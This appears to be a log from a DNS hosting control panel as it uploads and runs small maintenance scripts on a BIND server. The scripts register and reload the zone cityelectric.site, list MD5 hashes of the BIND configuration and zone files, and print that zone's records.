MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 9b29104526ddaa10750428fa1ab3105a
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:09:04: 

PUT: /tmp/pkp288448

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 15:09:04: 

chmod 755 /tmp/pkp288448; /tmp/pkp288448; rm /tmp/pkp288448

2026-02-09 15:09:07: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 15:09:07: 

PUT: /tmp/pkp481288

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 15:09:07: 

chmod 755 /tmp/pkp481288; /tmp/pkp481288; rm /tmp/pkp481288

2026-02-09 15:09:07: 


zone reload queued


2026-02-09 15:09:24: Establishing a connection
2026-02-09 15:09:24: 

PUT: /tmp/pkp672144

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:09:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp672144; rm /tmp/pkp672144'

2026-02-09 15:09:25: 
2026-02-09 15:09:25: 

PUT: /tmp/pkp208691

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:09:25: 

chmod 755 /tmp/pkp208691; /tmp/pkp208691; rm /tmp/pkp208691

2026-02-09 15:09:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	984
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134129948 14400 3600 14400 3600 )
@                        		 IN    A        	10.140.12.84
_acme-challenge           60	 IN    TXT      	"JfdN3ms_V-YNAQ6YgGvSjo1-8PBHjaH7DMIok5T6lO4"
_acme-challenge           60	 IN    TXT      	"sYuZM2kpUfAKhafLfWJP2I-WtM6dWLSzSda3yFqyxhA"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 92055efbed955a47809403a576bbf89c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:09:27: Establishing a connection
2026-02-09 15:09:27: 

PUT: /tmp/pkp288910

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:09:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp288910; rm /tmp/pkp288910'

2026-02-09 15:09:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
